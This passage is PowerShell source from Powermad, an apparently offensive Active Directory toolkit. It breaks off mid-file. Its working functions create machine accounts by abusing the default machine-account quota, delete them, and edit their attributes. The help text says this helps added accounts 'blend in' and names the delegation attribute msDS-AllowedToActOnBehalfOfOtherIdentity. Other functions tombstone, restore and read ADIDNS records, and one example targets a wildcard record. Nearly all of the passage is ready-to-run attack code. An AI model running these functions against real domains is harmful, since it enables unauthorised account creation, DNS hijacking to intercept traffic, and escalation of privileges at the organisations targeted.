|
||
|
|
||
|
if($MachineAccount.EndsWith('$'))
|
||
|
{
|
||
|
$sam_account = $machine_account
|
||
|
$machine_account = $machine_account.SubString(0,$machine_account.Length - 1)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$sam_account = $machine_account + "$"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] SAMAccountName = $sam_account"
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
$distinguished_name = "CN=$machine_account,CN=Computers"
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = $DistinguishedName
|
||
|
}
|
||
|
|
||
|
$password_cleartext = [System.Text.Encoding]::Unicode.GetBytes('"' + $password_cleartext + '"')
|
||
|
$identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential())
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)
|
||
|
}
|
||
|
|
||
|
$connection.SessionOptions.Sealing = $true
|
||
|
$connection.SessionOptions.Signing = $true
|
||
|
$connection.Bind()
|
||
|
$request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
|
||
|
$request.DistinguishedName = $distinguished_name
|
||
|
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null
|
||
|
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$sam_account)) > $null
|
||
|
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","4096")) > $null
|
||
|
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$machine_account.$Domain")) > $null
|
||
|
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$machine_account.$Domain",
|
||
|
"RestrictedKrbHost/$machine_account.$Domain","HOST/$machine_account","RestrictedKrbHost/$machine_account")) > $null
|
||
|
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$password_cleartext)) > $null
|
||
|
Remove-Variable password_cleartext
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$connection.SendRequest($request) > $null
|
||
|
Write-Output "[+] Machine account $MachineAccount added"
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
|
||
|
if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*')
|
||
|
{
|
||
|
Write-Output "[!] User may have reached ms-DS-MachineAccountQuota limit"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
function Remove-MachineAccount
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function removes a machine account with a privileged account.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
Machine accounts added with MachineAccountQuote cannot be deleted with an unprivileged user. Although users
|
||
|
can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is
|
||
|
just left in a disabled state. This function provides the ability to delete a machine account once a
|
||
|
privileged account has been obtained.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to delete the ADIDNS node.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the ADIDNS node.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER MachineAccount
|
||
|
The machine account that will be removed.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Remove a machine account named test with domain admin credentials.
|
||
|
Remove-MachineAccount -MachineAccount test -Credential $domainadmin
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$true)][String]$MachineAccount,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain -or !$Zone)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if($MachineAccount.EndsWith('$'))
|
||
|
{
|
||
|
$machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$machine_account = $MachineAccount
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
$distinguished_name = "CN=$machine_account,CN=Computers"
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$directory_entry.psbase.DeleteTree()
|
||
|
Write-Output "[+] Machine account $MachineAccount removed"
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
function Set-MachineAccountAttribute
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function can populate an attribute for an account that was added through New-MachineAccount. Write
|
||
|
access to the attribute is required. This function should be used with the same user that created the
|
||
|
machine account.
|
||
|
|
||
|
.DESCRIPTION
|
||
|
The user account that creates a machine account is granted write access to some attributes. These attributes
|
||
|
can be leveraged to help an added machine account blend in better or change values that were restricted by
|
||
|
validation when the account was created.
|
||
|
|
||
|
Here is a list of some of the usual write access enabled attributes:
|
||
|
|
||
|
AccountDisabled
|
||
|
description
|
||
|
displayName
|
||
|
DnsHostName
|
||
|
ServicePrincipalName
|
||
|
userParameters
|
||
|
userAccountControl
|
||
|
msDS-AdditionalDnsHostName
|
||
|
msDS-AllowedToActOnBehalfOfOtherIdentity
|
||
|
SamAccountName
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.PARAMETER Append
|
||
|
Switch: Appends a value rather than overwriting.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to modify the attribute.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the computers OU.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER MachineAccount
|
||
|
The username of the machine account that will be modified.
|
||
|
|
||
|
.PARAMETER Attribute
|
||
|
The machine account attribute.
|
||
|
|
||
|
.PARAMETER Value
|
||
|
The machine account attribute value.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Set the description attribute to a value of "test value" on a machine account named test.
|
||
|
Set-MachineAccountAttribute -MachineAccount test -Attribute description -Value "test value"
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$true)][String]$MachineAccount,
|
||
|
[parameter(Mandatory=$true)][String]$Attribute,
|
||
|
[parameter(Mandatory=$true)]$Value,
|
||
|
[parameter(Mandatory=$false)][Switch]$Append,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if($MachineAccount.EndsWith('$'))
|
||
|
{
|
||
|
$machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$machine_account = $MachineAccount
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
$distinguished_name = "CN=$machine_account,CN=Computers"
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
|
||
|
if($Append)
|
||
|
{
|
||
|
$directory_entry.$Attribute.Add($Value) > $null
|
||
|
$directory_entry.SetInfo()
|
||
|
Write-Output "[+] Machine account $machine_account attribute $Attribute appended"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry.InvokeSet($Attribute,$Value)
|
||
|
$directory_entry.SetInfo()
|
||
|
Write-Output "[+] Machine account $machine_account attribute $Attribute updated"
|
||
|
}
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
#endregion
|
||
|
|
||
|
#region begin DNS Functions
|
||
|
|
||
|
function Disable-ADIDNSNode
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function can tombstone an ADIDNS node.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function deletes a DNS record by setting an ADIDNS node's dnsTombstoned attribute to 'True' and the
|
||
|
dnsRecord attribute to a zero type array. Note that the node remains in AD.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to tombstone the DNS node.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the ADIDNS zone. Do not include the node name.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Node
|
||
|
The ADIDNS node name.
|
||
|
|
||
|
.PARAMETER Partition
|
||
|
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
|
||
|
|
||
|
.PARAMETER SOASerialNumber
|
||
|
The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
|
||
|
DNS server and querying an SOA record.
|
||
|
|
||
|
.PARAMETER Zone
|
||
|
The ADIDNS zone.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Tombstone a wildcard record.
|
||
|
Disable-ADIDNSNode -Node *
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$true)][String]$Node,
|
||
|
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
|
||
|
[parameter(Mandatory=$false)][String]$Zone,
|
||
|
[parameter(Mandatory=$false)][Int32]$SOASerialNumber,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain -or !$Zone)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if(!$Zone)
|
||
|
{
|
||
|
$Zone = $current_domain.Name
|
||
|
Write-Verbose "[+] ADIDNS Zone = $Zone"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
|
||
|
if($Partition -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
|
||
|
}
|
||
|
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node," + $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
$timestamp = [int64](([datetime]::UtcNow.Ticks)-(Get-Date "1/1/1601").Ticks)
|
||
|
$timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp))
|
||
|
$timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)}
|
||
|
|
||
|
[Byte[]]$DNS_record = 0x08,0x00,0x00,0x00,0x05,0x00,0x00,0x00 +
|
||
|
$SOASerialNumberArray[0..3] +
|
||
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
|
||
|
$timestamp
|
||
|
|
||
|
Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNS_record))"
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$directory_entry.InvokeSet('dnsRecord',$DNS_record)
|
||
|
$directory_entry.InvokeSet('dnsTombstoned',$true)
|
||
|
$directory_entry.SetInfo()
|
||
|
Write-Output "[+] ADIDNS node $Node tombstoned"
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
function Enable-ADIDNSNode
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function can turn a tombstoned node back into a valid record.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function can turn a tombstoned node back into a valid record. This function should be used in place of
|
||
|
New-ADIDNSNode when working with nodes that already exist due to being previously added.
|
||
|
|
||
|
.PARAMETER Attribute
|
||
|
The ADIDNS node attribute.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to modify the attribute.
|
||
|
|
||
|
.PARAMETER Data
|
||
|
For most record types this will be the destination hostname or IP address. For TXT records this can be used
|
||
|
for data.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the ADIDNS zone. Do not include the node name.
|
||
|
|
||
|
.PARAMETER DNSRecord
|
||
|
DNSRecord byte array. See MS-DNSP for details on the dnsRecord structure.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Node
|
||
|
The ADIDNS node name.
|
||
|
|
||
|
.PARAMETER Partition
|
||
|
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
|
||
|
|
||
|
.PARAMETER Port
|
||
|
SRV record port.
|
||
|
|
||
|
.PARAMETER Preference
|
||
|
MX record preference.
|
||
|
|
||
|
.PARAMETER Priority
|
||
|
SRV record priority.
|
||
|
|
||
|
.PARAMETER Tombstone
|
||
|
Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that
|
||
|
allows it to be modified or fully tombstoned by any authenticated user.
|
||
|
|
||
|
.PARAMETER SOASerialNumber
|
||
|
The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
|
||
|
DNS server and querying an SOA record.
|
||
|
|
||
|
.PARAMETER Static
|
||
|
Switch: Zeros out the timestamp to create a static record instead of a dynamic.
|
||
|
|
||
|
.PARAMETER TTL
|
||
|
Default = 600: DNS record TTL.
|
||
|
|
||
|
.PARAMETER Type
|
||
|
Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT.
|
||
|
|
||
|
.PARAMETER Weight
|
||
|
SRV record weight.
|
||
|
|
||
|
.PARAMETER Zone
|
||
|
The ADIDNS zone.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Enable a wildcard record.
|
||
|
Enable-ADIDNSNode -Node *
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$Data,
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$true)][String]$Node,
|
||
|
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
|
||
|
[parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A",
|
||
|
[parameter(Mandatory=$false)][String]$Zone,
|
||
|
[parameter(Mandatory=$false)][Byte[]]$DNSRecord,
|
||
|
[parameter(Mandatory=$false)][Int]$Preference,
|
||
|
[parameter(Mandatory=$false)][Int]$Priority,
|
||
|
[parameter(Mandatory=$false)][Int]$Weight,
|
||
|
[parameter(Mandatory=$false)][Int]$Port,
|
||
|
[parameter(Mandatory=$false)][Int]$TTL = 600,
|
||
|
[parameter(Mandatory=$false)][Int32]$SOASerialNumber,
|
||
|
[parameter(Mandatory=$false)][Switch]$Static,
|
||
|
[parameter(Mandatory=$false)][Switch]$Tombstone,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain -or !$Zone)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if(!$Zone)
|
||
|
{
|
||
|
$Zone = $current_domain.Name
|
||
|
Write-Verbose "[+] ADIDNS Zone = $Zone"
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
|
||
|
if($Partition -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
|
||
|
}
|
||
|
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node," + $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if(!$DNSRecord)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
|
||
|
if($Static)
|
||
|
{
|
||
|
$DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone -Static
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))"
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$directory_entry.InvokeSet('dnsRecord',$DNSRecord)
|
||
|
$directory_entry.SetInfo()
|
||
|
Write-Output "[+] ADIDNS node $Node enabled"
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
function Get-ADIDNSNodeAttribute
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function can return values populated in an ADIDNS node attribute.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function can be used to retrn an ADIDNS node attribute such as a dnsRecord array.
|
||
|
|
||
|
.PARAMETER Attribute
|
||
|
The ADIDNS node attribute.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to read the attribute.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the ADIDNS zone. Do not include the node name.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Node
|
||
|
The ADIDNS node name.
|
||
|
|
||
|
.PARAMETER Partition
|
||
|
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
|
||
|
|
||
|
.PARAMETER Zone
|
||
|
The ADIDNS zone.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Get the dnsRecord attribute value of a node named test.
|
||
|
Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$true)][String]$Attribute,
|
||
|
[parameter(Mandatory=$true)][String]$Node,
|
||
|
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
|
||
|
[parameter(Mandatory=$false)][String]$Zone,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
